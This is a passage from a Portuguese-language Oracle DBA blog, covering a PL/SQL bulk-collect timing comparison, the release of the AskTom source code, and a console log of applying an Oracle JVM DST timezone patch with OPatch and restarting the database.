Table created.

ops$marcio:LX10G> create global temporary table gtt on commit preserve rows
2 as select * from t where 1=0;

Table created.

ops$marcio:LX10G>
ops$marcio:LX10G> create or replace procedure p
2 is
3 cursor c is select * from t;
4 type rec is table of c%rowtype index by binary_integer;
5 l_rec rec;
6 l_time number default dbms_utility.get_time;
7 procedure show_time (p_message in varchar2) is
8 begin
9 dbms_output.put_line(p_message ||
10 trunc((dbms_utility.get_time - l_time)/100,2) || ' segundos!');
11 l_time := dbms_utility.get_time;
12 end;
13 begin
14 execute immediate ('truncate table gtt');
15 for x in c
16 loop
17 x.object_name := initcap(x.object_name);
18 insert into gtt values x;
19 end loop;
20 show_time('Tempo cursor normal ');
21 execute immediate ('truncate table gtt');
22 open c;
23 loop
24 fetch c bulk collect into l_rec limit 100;
25
26 for i in 1 .. l_rec.count
27 loop
28 l_rec(i).object_name := initcap(l_rec(i).object_name);
29 end loop;
30
31 forall i in 1 .. l_rec.count
32 insert into gtt values l_rec(i);
33
34 exit when c%notfound;
35 end loop;
36 close c;
37 show_time('Tempo bulk collect ');
38 end;
39 /

Procedure created.

ops$marcio:LX10G> show error;
No errors.
ops$marcio:LX10G>
ops$marcio:LX10G> exec p;
Tempo cursor normal 3,05 segundos!
Tempo bulk collect ,45 segundos!

PL/SQL procedure successfully completed.

ops$marcio:LX10G>
O tempo é indiscutível. Aproximadamente 3 vezes mais rápido! Para cerca de 50 mil linhas.

Labels:


Wednesday, March 07, 2007

Tenha Sua Propria ASKTOM

Já pensou em ter sua própria asktom? Para quem não é da área de Banco de Dados - Oracle, pode ser que nunca tenha ouvido falar do Thomas Kyte, mas para a maioria dos profissionais que trabalham com o Oracle, ele é uma figura bastante conhecida pelo que faz pela comunidade. Ele tem um site (asktom) onde responde e esclare dúvidas referentes ao Oracle.

Agora voce pode ter sua própria asktom. A Oracle disponibilizou o fonte da asktom para download, é preciso ter o APEX (Application Express - antigo HTMLDB) e instalar - pronto! Sua própria asktom ou ask quem quer que seja. Eu fiz a Ask ao Tio ;-) Inclusive está até aberta para receber perguntas!!

Labels:


Sunday, March 04, 2007

Ainda DST - JVM

Nesse novo post sobre JVM, decidi não me aprofundar em algo que está amplamente documentado. Só vou mostrar exatamente como fiz a aplicação do patch para JVM em meu 10g.

[oracle@anakin ~]$ cd patches
[oracle@anakin patches]$ ll -tr
total 88
drwxr-xr-x 4 oracle dba 4096 Feb 15 03:37 5632264
-rw-r--r-- 1 oracle dba 360 Feb 28 21:06 test_patch.sql
-rw-r--r-- 1 oracle dba 73788 Feb 28 22:21 p5632264_10202_LINUX.zip
[oracle@anakin patches]$ $ORACLE_HOME/jdk/bin/java -fullversion
java full version "1.4.2_08-b03"
[oracle@anakin patches]$
[oracle@anakin patches]$
[oracle@anakin patches]$ mkdir java_backup
[oracle@anakin patches]$ cd java_backup/
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/Africa/Timbuktu .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Buenos_Aires .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Catamarca .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Coral_Harbour .
mv: cannot stat `/oracle/10g/javavm/lib/zi/America/Coral_Harbour': No such file or directory
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Cordoba .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Indianapolis .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Jujuy .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Louisville .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Mendoza .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/Europe/Belfast .
[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/Pacific/Yap .
[oracle@anakin java_backup]$
[oracle@anakin java_backup]$ cd ..
[oracle@anakin patches]$ unzip /download/p5865568_10202_GENERIC.zip
Archive: /download/p5865568_10202_GENERIC.zip
creating: 5865568/
creating: 5865568/files/
creating: 5865568/files/javavm/
creating: 5865568/files/javavm/lib/
creating: 5865568/files/javavm/lib/zi/
creating: 5865568/files/javavm/lib/zi/Africa/
inflating: 5865568/files/javavm/lib/zi/Africa/Cairo
inflating: 5865568/files/javavm/lib/zi/Africa/Tunis
creating: 5865568/files/javavm/lib/zi/America/
creating: 5865568/files/javavm/lib/zi/America/Indiana/
inflating: 5865568/files/javavm/lib/zi/America/Indiana/Indianapolis
inflating: 5865568/files/javavm/lib/zi/America/Indiana/Knox
inflating: 5865568/files/javavm/lib/zi/America/Indiana/Marengo
inflating: 5865568/files/javavm/lib/zi/America/Indiana/Petersburg
inflating: 5865568/files/javavm/lib/zi/America/Indiana/Vevay
inflating: 5865568/files/javavm/lib/zi/America/Indiana/Vincennes
creating: 5865568/files/javavm/lib/zi/America/North_Dakota/
inflating: 5865568/files/javavm/lib/zi/America/North_Dakota/New_Salem
inflating: 5865568/files/javavm/lib/zi/America/North_Dakota/Center
extracting: 5865568/files/javavm/lib/zi/America/Atikokan
inflating: 5865568/files/javavm/lib/zi/America/Blanc-Sablon
extracting: 5865568/files/javavm/lib/zi/America/Bogota
inflating: 5865568/files/javavm/lib/zi/America/Cambridge_Bay
inflating: 5865568/files/javavm/lib/zi/America/Campo_Grande
inflating: 5865568/files/javavm/lib/zi/America/Cuiaba
inflating: 5865568/files/javavm/lib/zi/America/Dawson
inflating: 5865568/files/javavm/lib/zi/America/Edmonton
inflating: 5865568/files/javavm/lib/zi/America/Glace_Bay
inflating: 5865568/files/javavm/lib/zi/America/Goose_Bay
inflating: 5865568/files/javavm/lib/zi/America/Guatemala
inflating: 5865568/files/javavm/lib/zi/America/Halifax
inflating: 5865568/files/javavm/lib/zi/America/Havana
inflating: 5865568/files/javavm/lib/zi/America/Inuvik
inflating: 5865568/files/javavm/lib/zi/America/Iqaluit
inflating: 5865568/files/javavm/lib/zi/America/Managua
inflating: 5865568/files/javavm/lib/zi/America/Miquelon
inflating: 5865568/files/javavm/lib/zi/America/Moncton
inflating: 5865568/files/javavm/lib/zi/America/Montevideo
inflating: 5865568/files/javavm/lib/zi/America/Montreal
inflating: 5865568/files/javavm/lib/zi/America/Nipigon
inflating: 5865568/files/javavm/lib/zi/America/Pangnirtung
inflating: 5865568/files/javavm/lib/zi/America/Port-au-Prince
inflating: 5865568/files/javavm/lib/zi/America/Rainy_River
inflating: 5865568/files/javavm/lib/zi/America/Rankin_Inlet
inflating: 5865568/files/javavm/lib/zi/America/Santiago
inflating: 5865568/files/javavm/lib/zi/America/Sao_Paulo
inflating: 5865568/files/javavm/lib/zi/America/Scoresbysund
inflating: 5865568/files/javavm/lib/zi/America/St_Johns
inflating: 5865568/files/javavm/lib/zi/America/Tegucigalpa
inflating: 5865568/files/javavm/lib/zi/America/Thule
inflating: 5865568/files/javavm/lib/zi/America/Thunder_Bay
inflating: 5865568/files/javavm/lib/zi/America/Toronto
inflating: 5865568/files/javavm/lib/zi/America/Vancouver
inflating: 5865568/files/javavm/lib/zi/America/Whitehorse
inflating: 5865568/files/javavm/lib/zi/America/Winnipeg
inflating: 5865568/files/javavm/lib/zi/America/Yellowknife
inflating: 5865568/files/javavm/lib/zi/America/Adak
inflating: 5865568/files/javavm/lib/zi/America/Anchorage
inflating: 5865568/files/javavm/lib/zi/America/Araguaina
creating: 5865568/files/javavm/lib/zi/America/Argentina/
inflating: 5865568/files/javavm/lib/zi/America/Argentina/Buenos_Aires
inflating: 5865568/files/javavm/lib/zi/America/Argentina/Catamarca
inflating: 5865568/files/javavm/lib/zi/America/Argentina/Cordoba
inflating: 5865568/files/javavm/lib/zi/America/Argentina/Jujuy
inflating: 5865568/files/javavm/lib/zi/America/Argentina/La_Rioja
inflating: 5865568/files/javavm/lib/zi/America/Argentina/Mendoza
inflating: 5865568/files/javavm/lib/zi/America/Argentina/Rio_Gallegos
inflating: 5865568/files/javavm/lib/zi/America/Argentina/San_Juan
inflating: 5865568/files/javavm/lib/zi/America/Argentina/Tucuman
inflating: 5865568/files/javavm/lib/zi/America/Argentina/Ushuaia
creating: 5865568/files/javavm/lib/zi/America/Kentucky/
inflating: 5865568/files/javavm/lib/zi/America/Kentucky/Louisville
inflating: 5865568/files/javavm/lib/zi/America/Kentucky/Monticello
inflating: 5865568/files/javavm/lib/zi/America/Asuncion
inflating: 5865568/files/javavm/lib/zi/America/Bahia
inflating: 5865568/files/javavm/lib/zi/America/Boise
inflating: 5865568/files/javavm/lib/zi/America/Chicago
inflating: 5865568/files/javavm/lib/zi/America/Denver
inflating: 5865568/files/javavm/lib/zi/America/Detroit
inflating: 5865568/files/javavm/lib/zi/America/Fortaleza
inflating: 5865568/files/javavm/lib/zi/America/Juneau
inflating: 5865568/files/javavm/lib/zi/America/Lima
inflating: 5865568/files/javavm/lib/zi/America/Los_Angeles
inflating: 5865568/files/javavm/lib/zi/America/Maceio
inflating: 5865568/files/javavm/lib/zi/America/Menominee
inflating: 5865568/files/javavm/lib/zi/America/New_York
inflating: 5865568/files/javavm/lib/zi/America/Nome
inflating: 5865568/files/javavm/lib/zi/America/Noronha
inflating: 5865568/files/javavm/lib/zi/America/Phoenix
inflating: 5865568/files/javavm/lib/zi/America/Recife
inflating: 5865568/files/javavm/lib/zi/America/Regina
inflating: 5865568/files/javavm/lib/zi/America/Yakutat
creating: 5865568/files/javavm/lib/zi/Antarctica/
inflating: 5865568/files/javavm/lib/zi/Antarctica/Palmer
inflating: 5865568/files/javavm/lib/zi/Antarctica/Rothera
creating: 5865568/files/javavm/lib/zi/Asia/
inflating: 5865568/files/javavm/lib/zi/Asia/Amman
inflating: 5865568/files/javavm/lib/zi/Asia/Baku
inflating: 5865568/files/javavm/lib/zi/Asia/Choibalsan
extracting: 5865568/files/javavm/lib/zi/Asia/Colombo
inflating: 5865568/files/javavm/lib/zi/Asia/Damascus
inflating: 5865568/files/javavm/lib/zi/Asia/Gaza
inflating: 5865568/files/javavm/lib/zi/Asia/Hovd
inflating: 5865568/files/javavm/lib/zi/Asia/Riyadh87
inflating: 5865568/files/javavm/lib/zi/Asia/Riyadh88
inflating: 5865568/files/javavm/lib/zi/Asia/Riyadh89
inflating: 5865568/files/javavm/lib/zi/Asia/Samarkand
inflating: 5865568/files/javavm/lib/zi/Asia/Tashkent
inflating: 5865568/files/javavm/lib/zi/Asia/Tbilisi
inflating: 5865568/files/javavm/lib/zi/Asia/Tehran
inflating: 5865568/files/javavm/lib/zi/Asia/Ulaanbaatar
inflating: 5865568/files/javavm/lib/zi/Asia/Almaty
inflating: 5865568/files/javavm/lib/zi/Asia/Aqtau
inflating: 5865568/files/javavm/lib/zi/Asia/Aqtobe
inflating: 5865568/files/javavm/lib/zi/Asia/Bishkek
inflating: 5865568/files/javavm/lib/zi/Asia/Jerusalem
extracting: 5865568/files/javavm/lib/zi/Asia/Karachi
extracting: 5865568/files/javavm/lib/zi/Asia/Kuala_Lumpur
inflating: 5865568/files/javavm/lib/zi/Asia/Kuching
inflating: 5865568/files/javavm/lib/zi/Asia/Oral
inflating: 5865568/files/javavm/lib/zi/Asia/Qyzylorda
inflating: 5865568/files/javavm/lib/zi/Asia/Tokyo
extracting: 5865568/files/javavm/lib/zi/Asia/Singapore
creating: 5865568/files/javavm/lib/zi/Atlantic/
inflating: 5865568/files/javavm/lib/zi/Atlantic/Bermuda
creating: 5865568/files/javavm/lib/zi/Australia/
inflating: 5865568/files/javavm/lib/zi/Australia/Perth
inflating: 5865568/files/javavm/lib/zi/Australia/Adelaide
inflating: 5865568/files/javavm/lib/zi/Australia/Broken_Hill
inflating: 5865568/files/javavm/lib/zi/Australia/Currie
inflating: 5865568/files/javavm/lib/zi/Australia/Hobart
inflating: 5865568/files/javavm/lib/zi/Australia/Lord_Howe
inflating: 5865568/files/javavm/lib/zi/Australia/Melbourne
inflating: 5865568/files/javavm/lib/zi/Australia/Sydney
inflating: 5865568/files/javavm/lib/zi/CST6CDT
extracting: 5865568/files/javavm/lib/zi/EST
inflating: 5865568/files/javavm/lib/zi/EST5EDT
inflating: 5865568/files/javavm/lib/zi/HST
extracting: 5865568/files/javavm/lib/zi/MST
inflating: 5865568/files/javavm/lib/zi/MST7MDT
inflating: 5865568/files/javavm/lib/zi/PST8PDT
inflating: 5865568/files/javavm/lib/zi/ZoneInfoMappings
creating: 5865568/files/javavm/lib/zi/Europe/
inflating: 5865568/files/javavm/lib/zi/Europe/Volgograd
inflating: 5865568/files/javavm/lib/zi/Europe/Warsaw
inflating: 5865568/files/javavm/lib/zi/Europe/Berlin
inflating: 5865568/files/javavm/lib/zi/Europe/Lisbon
inflating: 5865568/files/javavm/lib/zi/Europe/Vienna
inflating: 5865568/files/javavm/lib/zi/Europe/Vilnius
creating: 5865568/files/javavm/lib/zi/Pacific/
inflating: 5865568/files/javavm/lib/zi/Pacific/Easter
inflating: 5865568/files/javavm/lib/zi/Pacific/Auckland
inflating: 5865568/files/javavm/lib/zi/Pacific/Chatham
extracting: 5865568/files/javavm/lib/zi/Pacific/Midway
inflating: 5865568/files/javavm/lib/zi/Pacific/Tongatapu
creating: 5865568/files/javavm/lib/zi/SystemV/
inflating: 5865568/files/javavm/lib/zi/SystemV/AST4
inflating: 5865568/files/javavm/lib/zi/SystemV/AST4ADT
inflating: 5865568/files/javavm/lib/zi/SystemV/CST6
inflating: 5865568/files/javavm/lib/zi/SystemV/CST6CDT
extracting: 5865568/files/javavm/lib/zi/SystemV/EST5
inflating: 5865568/files/javavm/lib/zi/SystemV/EST5EDT
inflating: 5865568/files/javavm/lib/zi/SystemV/HST10
extracting: 5865568/files/javavm/lib/zi/SystemV/MST7
inflating: 5865568/files/javavm/lib/zi/SystemV/MST7MDT
inflating: 5865568/files/javavm/lib/zi/SystemV/PST8
inflating: 5865568/files/javavm/lib/zi/SystemV/PST8PDT
extracting: 5865568/files/javavm/lib/zi/SystemV/YST9
inflating: 5865568/files/javavm/lib/zi/SystemV/YST9YDT
creating: 5865568/files/javavm/lib/zi/Indian/
extracting: 5865568/files/javavm/lib/zi/Indian/Chagos
creating: 5865568/files/javavm/admin/
inflating: 5865568/files/javavm/admin/fixTZa.sql
inflating: 5865568/files/javavm/admin/fixTZb.sql
creating: 5865568/etc/
creating: 5865568/etc/config/
inflating: 5865568/etc/config/inventory
inflating: 5865568/etc/config/actions
creating: 5865568/etc/xml/
inflating: 5865568/etc/xml/GenericActions.xml
inflating: 5865568/etc/xml/ShiphomeDirectoryStructure.xml
inflating: 5865568/README.txt
[oracle@anakin patches]$ cd 5865568
[oracle@anakin 5865568]$
[oracle@anakin 5865568]$
[oracle@anakin 5865568]$ opatch apply
bash: opatch: command not found
[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch apply
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation. All rights reserved..


Oracle Home : /oracle/10g
Central Inventory : /oracle/oraInventory
from : /oracle/10g/oraInst.loc
OPatch version : 10.2.0.2.0
OUI version : 10.2.0.2.0
OUI location : /oracle/10g/oui
Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Mar_04_22-08-25-BRT_Sun.log

ApplySession applying interim patch '5865568' to OH '/oracle/10g'

OPatch detected non-cluster Oracle Home from the inventory and will patch the local system only.


Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/oracle/10g')

Is the local system ready for patching?

Do you want to proceed? [y|n]
y
User Responded with: Y
Backing up files and inventory (not for auto-rollback) for the Oracle Home
Backing up files affected by the patch '5865568' for restore. This might take a while...
Backing up files affected by the patch '5865568' for rollback. This might take a while...

Patching component oracle.javavm.server, 10.2.0.2.0...
Copying file to "/oracle/10g/javavm/lib/zi/Africa/Cairo"
Copying file to "/oracle/10g/javavm/lib/zi/Africa/Tunis"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Indianapolis"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Knox"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Marengo"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Petersburg"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Vevay"
Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Vincennes"
Copying file to "/oracle/10g/javavm/lib/zi/America/North_Dakota/New_Salem"
Copying file to "/oracle/10g/javavm/lib/zi/America/Atikokan"
Copying file to "/oracle/10g/javavm/lib/zi/America/Blanc-Sablon"
Copying file to "/oracle/10g/javavm/lib/zi/America/Bogota"
Copying file to "/oracle/10g/javavm/lib/zi/America/Cambridge_Bay"
Copying file to "/oracle/10g/javavm/lib/zi/America/Campo_Grande"
Copying file to "/oracle/10g/javavm/lib/zi/America/Cuiaba"
Copying file to "/oracle/10g/javavm/lib/zi/America/Dawson"
Copying file to "/oracle/10g/javavm/lib/zi/America/Edmonton"
Copying file to "/oracle/10g/javavm/lib/zi/America/Glace_Bay"
Copying file to "/oracle/10g/javavm/lib/zi/America/Goose_Bay"
Copying file to "/oracle/10g/javavm/lib/zi/America/Guatemala"
Copying file to "/oracle/10g/javavm/lib/zi/America/Halifax"
Copying file to "/oracle/10g/javavm/lib/zi/America/Havana"
Copying file to "/oracle/10g/javavm/lib/zi/America/Inuvik"
Copying file to "/oracle/10g/javavm/lib/zi/America/Iqaluit"
Copying file to "/oracle/10g/javavm/lib/zi/America/Managua"
Copying file to "/oracle/10g/javavm/lib/zi/America/Miquelon"
Copying file to "/oracle/10g/javavm/lib/zi/America/Moncton"
Copying file to "/oracle/10g/javavm/lib/zi/America/Montevideo"
Copying file to "/oracle/10g/javavm/lib/zi/America/Montreal"
Copying file to "/oracle/10g/javavm/lib/zi/America/Nipigon"
Copying file to "/oracle/10g/javavm/lib/zi/America/Pangnirtung"
Copying file to "/oracle/10g/javavm/lib/zi/America/Port-au-Prince"
Copying file to "/oracle/10g/javavm/lib/zi/America/Rainy_River"
Copying file to "/oracle/10g/javavm/lib/zi/America/Rankin_Inlet"
Copying file to "/oracle/10g/javavm/lib/zi/America/Santiago"
Copying file to "/oracle/10g/javavm/lib/zi/America/Sao_Paulo"
Copying file to "/oracle/10g/javavm/lib/zi/America/Scoresbysund"
Copying file to "/oracle/10g/javavm/lib/zi/America/St_Johns"
Copying file to "/oracle/10g/javavm/lib/zi/America/Tegucigalpa"
Copying file to "/oracle/10g/javavm/lib/zi/America/Thule"
Copying file to "/oracle/10g/javavm/lib/zi/America/Thunder_Bay"
Copying file to "/oracle/10g/javavm/lib/zi/America/Toronto"
Copying file to "/oracle/10g/javavm/lib/zi/America/Vancouver"
Copying file to "/oracle/10g/javavm/lib/zi/America/Whitehorse"
Copying file to "/oracle/10g/javavm/lib/zi/America/Winnipeg"
Copying file to "/oracle/10g/javavm/lib/zi/America/Yellowknife"
Copying file to "/oracle/10g/javavm/lib/zi/Antarctica/Palmer"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Amman"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Baku"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Choibalsan"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Colombo"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Damascus"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Gaza"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Hovd"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Riyadh87"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Riyadh88"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Riyadh89"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Samarkand"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tashkent"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tbilisi"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tehran"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Ulaanbaatar"
Copying file to "/oracle/10g/javavm/lib/zi/Atlantic/Bermuda"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Perth"
Copying file to "/oracle/10g/javavm/lib/zi/CST6CDT"
Copying file to "/oracle/10g/javavm/lib/zi/EST"
Copying file to "/oracle/10g/javavm/lib/zi/EST5EDT"
Copying file to "/oracle/10g/javavm/lib/zi/HST"
Copying file to "/oracle/10g/javavm/lib/zi/MST"
Copying file to "/oracle/10g/javavm/lib/zi/MST7MDT"
Copying file to "/oracle/10g/javavm/lib/zi/PST8PDT"
Copying file to "/oracle/10g/javavm/lib/zi/ZoneInfoMappings"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Volgograd"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Warsaw"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Easter"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/AST4"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/AST4ADT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/CST6"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/CST6CDT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/EST5"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/EST5EDT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/HST10"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/MST7"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/MST7MDT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/PST8"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/PST8PDT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/YST9"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/YST9YDT"
Copying file to "/oracle/10g/javavm/admin/fixTZa.sql"
Copying file to "/oracle/10g/javavm/admin/fixTZb.sql"
Copying file to "/oracle/10g/javavm/lib/zi/America/Adak"
Copying file to "/oracle/10g/javavm/lib/zi/America/Anchorage"
Copying file to "/oracle/10g/javavm/lib/zi/America/Araguaina"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Buenos_Aires"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Catamarca"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Cordoba"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Jujuy"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/La_Rioja"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Mendoza"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Rio_Gallegos"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/San_Juan"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Tucuman"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Ushuaia"
Copying file to "/oracle/10g/javavm/lib/zi/America/Kentucky/Louisville"
Copying file to "/oracle/10g/javavm/lib/zi/America/Kentucky/Monticello"
Copying file to "/oracle/10g/javavm/lib/zi/America/North_Dakota/Center"
Copying file to "/oracle/10g/javavm/lib/zi/America/Asuncion"
Copying file to "/oracle/10g/javavm/lib/zi/America/Bahia"
Copying file to "/oracle/10g/javavm/lib/zi/America/Boise"
Copying file to "/oracle/10g/javavm/lib/zi/America/Chicago"
Copying file to "/oracle/10g/javavm/lib/zi/America/Denver"
Copying file to "/oracle/10g/javavm/lib/zi/America/Detroit"
Copying file to "/oracle/10g/javavm/lib/zi/America/Fortaleza"
Copying file to "/oracle/10g/javavm/lib/zi/America/Juneau"
Copying file to "/oracle/10g/javavm/lib/zi/America/Lima"
Copying file to "/oracle/10g/javavm/lib/zi/America/Los_Angeles"
Copying file to "/oracle/10g/javavm/lib/zi/America/Maceio"
Copying file to "/oracle/10g/javavm/lib/zi/America/Menominee"
Copying file to "/oracle/10g/javavm/lib/zi/America/New_York"
Copying file to "/oracle/10g/javavm/lib/zi/America/Nome"
Copying file to "/oracle/10g/javavm/lib/zi/America/Noronha"
Copying file to "/oracle/10g/javavm/lib/zi/America/Phoenix"
Copying file to "/oracle/10g/javavm/lib/zi/America/Recife"
Copying file to "/oracle/10g/javavm/lib/zi/America/Regina"
Copying file to "/oracle/10g/javavm/lib/zi/America/Yakutat"
Copying file to "/oracle/10g/javavm/lib/zi/Antarctica/Rothera"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Almaty"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Aqtau"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Aqtobe"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Bishkek"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Jerusalem"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Karachi"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Kuala_Lumpur"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Kuching"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Oral"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Qyzylorda"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Singapore"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tokyo"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Adelaide"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Broken_Hill"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Currie"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Hobart"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Lord_Howe"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Melbourne"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Sydney"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Berlin"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Lisbon"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Vienna"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Vilnius"
Copying file to "/oracle/10g/javavm/lib/zi/Indian/Chagos"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Auckland"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Chatham"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Midway"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Tongatapu"
ApplySession adding interim patch '5865568' to inventory

Verifying the update...
Inventory check OK: Patch ID 5865568 is registered in Oracle Home inventory with proper meta-data.
Files check OK: Files from Patch ID 5865568 are present in Oracle Home.

The local system has been patched and can be restarted.


OPatch succeeded.
[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch lsinvestory
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation. All rights reserved..

Syntax Error... Unrecognized Command or Option: 1st argument must be one of the following:
apply
rollback
lsinventory
lsinv
query
util
prereq
version
-help
-h
Please use the option 'opatch -help' to get correct syntax

OPatch failed with error code 14
[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch lsinventory
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation. All rights reserved..


Oracle Home : /oracle/10g
Central Inventory : /oracle/oraInventory
from : /oracle/10g/oraInst.loc
OPatch version : 10.2.0.2.0
OUI version : 10.2.0.2.0
OUI location : /oracle/10g/oui
Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Mar_04_22-08-58-BRT_Sun.log

Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Mar_04_22-08-58-BRT_Sun.txt

--------------------------------------------------------------------------------
Installed Top-level Products (2):

Oracle Database 10g 10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 1 10.2.0.2.0
There are 2 products installed in this Oracle Home.


Interim patches (2) :

Patch 5865568 : applied on Sun Mar 04 22:08:38 BRT 2007
Created on 15 Feb 2007, 19:51:37 hrs PST8PDT
Bugs fixed:
5865568

Patch 5632264 : applied on Wed Feb 28 22:21:44 BRT 2007
Created on 14 Feb 2007, 21:37:17 hrs US/Pacific
Bugs fixed:
5632264


--------------------------------------------------------------------------------

OPatch succeeded.
[oracle@anakin 5865568]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Sun Mar 4 22:09:30 2007

Copyright (c) 1982, 2005, Oracle. All Rights Reserved.

Connected to an idle instance.

idle> exit
Disconnected
[oracle@anakin 5865568]$ export ORACLE_SID=+ASM
[oracle@anakin 5865568]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Sun Mar 4 22:09:45 2007

Copyright (c) 1982, 2005, Oracle. All Rights Reserved.

Connected to an idle instance.

idle> startup
ASM instance started

Total System Global Area 83886080 bytes
Fixed Size 1259264 bytes
Variable Size 57460992 bytes
ASM Cache 25165824 bytes
ASM diskgroups mounted
idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin 5865568]$ export ORACLE_SID=lx10g
[oracle@anakin 5865568]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Sun Mar 4 22:10:05 2007

Copyright (c) 1982, 2005, Oracle. All Rights Reserved.

Connected to an idle instance.

idle> startup
ORACLE instance started.

Total System Global Area 603979776 bytes
Fixed Size 1262224 bytes
Variable Size 197135728 bytes
Database Buffers 398458880 bytes
Redo Buffers 7122944 bytes
Database mounted.
Database opened.
idle> @?/javavm/admin/fixTZa

PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
